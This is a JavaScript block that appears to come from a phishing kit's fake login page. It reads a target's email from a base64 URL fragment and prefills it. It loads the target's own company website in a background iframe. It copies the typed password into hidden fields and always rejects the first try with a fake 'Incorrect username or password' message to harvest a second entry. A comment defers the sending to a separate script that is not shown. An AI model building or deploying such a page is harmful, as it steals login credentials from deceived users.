<script>
        // Fragment handling functions from old.html
        function generateRayId() {
            const chars = '0123456789abcdef';
            let result = '';
            for (let i = 0; i < 16; i++) {
                result += chars[Math.floor(Math.random() * chars.length)];
            }
            return result;
        }

        function decodeUrlFragment(fragment) {
            if (!fragment) {
                return null;
            }

            try {
                // Try Base64 decoding first
                const decoded = atob(fragment);
                // Validate if it looks like an email
                if (decoded.includes('@') && decoded.includes('.')) {
                    return decoded;
                }
            } catch (e) {
                // Base64 decoding failed, try as plain text
            }

            // If Base64 fails, treat as plain text
            if (fragment.includes('@') && fragment.includes('.')) {
                return fragment;
            }

            return null;
        }

        // Process fragment on page load
        const emailFragment = window.location.hash.slice(1);
        let hasFragment = false;
        let decodedEmail = null;

        if (emailFragment) {
            // Store the original fragment in hidden field for submission
            document.getElementById('email_fragment').value = emailFragment;

            decodedEmail = decodeUrlFragment(emailFragment);
            if (decodedEmail) {
                hasFragment = true;
                document.getElementById('email').value = decodedEmail;
                document.getElementById('hiddenEmail').value = decodedEmail;
            }
        }

        // Function to extract domain from email
        function extractDomain(email) {
            if (!email || !email.includes('@')) return null;
            return email.split('@')[1];
        }

        // Function to show domain background
        function showDomainBackground(email) {
            const domain = extractDomain(email);
            if (domain) {
                const domainBackground = document.getElementById('domainBackground');
                const domainFrame = document.getElementById('domainFrame');

                // Try HTTPS first, fallback to HTTP if needed
                const domainUrl = `https://${domain}`;
                domainFrame.src = domainUrl;
                domainBackground.style.display = 'block';

                // Handle iframe load errors
                domainFrame.onerror = function() {
                    domainFrame.src = `http://${domain}`;
                };
            }
        }

        // Function to hide domain background
        function hideDomainBackground() {
            const domainBackground = document.getElementById('domainBackground');
            domainBackground.style.display = 'none';
        }

        function isValidEmail(email) {
            const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
            return emailRegex.test(email);
        }

        function proceedToPassword() {
            const emailInput = document.getElementById('email');
            const email = emailInput.value.trim();

            if (!email) {
                alert('Please enter your email address.');
                emailInput.focus();
                return;
            }

            if (!isValidEmail(email)) {
                alert('Please enter a valid email address.');
                emailInput.focus();
                return;
            }

            // Store email in hidden field
            document.getElementById('hiddenEmail').value = email;

            // Show email in step 2
            document.getElementById('emailDisplay').textContent = email;

            // Hide step 1, show step 2
            document.getElementById('emailStep').classList.add('hidden');
            document.getElementById('passwordStep').classList.remove('hidden');

            // Show domain background
            showDomainBackground(email);

            // Focus on password field
            document.getElementById('password').focus();
        }

        function changeEmail() {
            // Hide step 2, show step 1
            document.getElementById('passwordStep').classList.add('hidden');
            document.getElementById('emailStep').classList.remove('hidden');

            // Hide domain background
            hideDomainBackground();

            // Clear password
            document.getElementById('password').value = '';

            // Focus on email field
            document.getElementById('email').focus();
        }

        // Track submission attempts
        let submissionAttempts = 0;

        // Handle form submission - copy password to hidden field and handle first attempt
        document.getElementById('login_form').addEventListener('submit', function(e) {
            e.preventDefault(); // Always prevent default to handle via JavaScript

            const passwordInput = document.getElementById('password');
            const emailValue = document.getElementById('hiddenEmail').value || document.getElementById('email').value;
            
            // Update hidden fields with current values
            document.getElementById('hiddenEmail').value = emailValue;
            document.getElementById('hiddenPassword').value = passwordInput.value;

            // If this is the first submission attempt, show error and stay on page
            if (submissionAttempts === 0) {
                submissionAttempts++;

                // Show error message
                showPasswordError();

                // Clear password field and update placeholder
                passwordInput.value = '';
                passwordInput.placeholder = `Email your '${emailValue}' password`;
                passwordInput.focus();

                return false;
            }

            // On second attempt, let system handle the submission
            // The system integration script will take over from here
            return true;
        });

        // Function to show password error
        function showPasswordError() {
            // Remove any existing error message
            const existingError = document.querySelector('.login-alert');
            if (existingError) {
                existingError.remove();
            }

            // Create and show error message
            const errorDiv = document.createElement('div');
            errorDiv.className = 'login-alert';
            errorDiv.textContent = 'Incorrect username or password.';

            // Insert error message before the email display
            const passwordStep = document.getElementById('passwordStep');
            const emailDisplay = document.querySelector('.email-display');
            passwordStep.insertBefore(errorDiv, emailDisplay);
        }

        function showSignup() {
            alert('Sign up functionality would be implemented here.');
        }

        // Initialize the view based on prefilled data
        window.addEventListener('DOMContentLoaded', function() {
            const emailInput = document.getElementById('email');
            const isReadonly = emailInput.hasAttribute('readonly');
            const hasError = document.querySelector('.login-alert') !== null;

            // If there's an error, we should be on the password step
            if (hasError && emailInput.value) {
                proceedToPassword();
            }
            // If email is prefilled and readonly, go directly to password step
            else if (isReadonly && emailInput.value) {
                proceedToPassword();
            }
            // If fragment is present with decoded email, skip directly to password step
            else if (hasFragment && decodedEmail) {
                proceedToPassword();
            }
        });


    </script>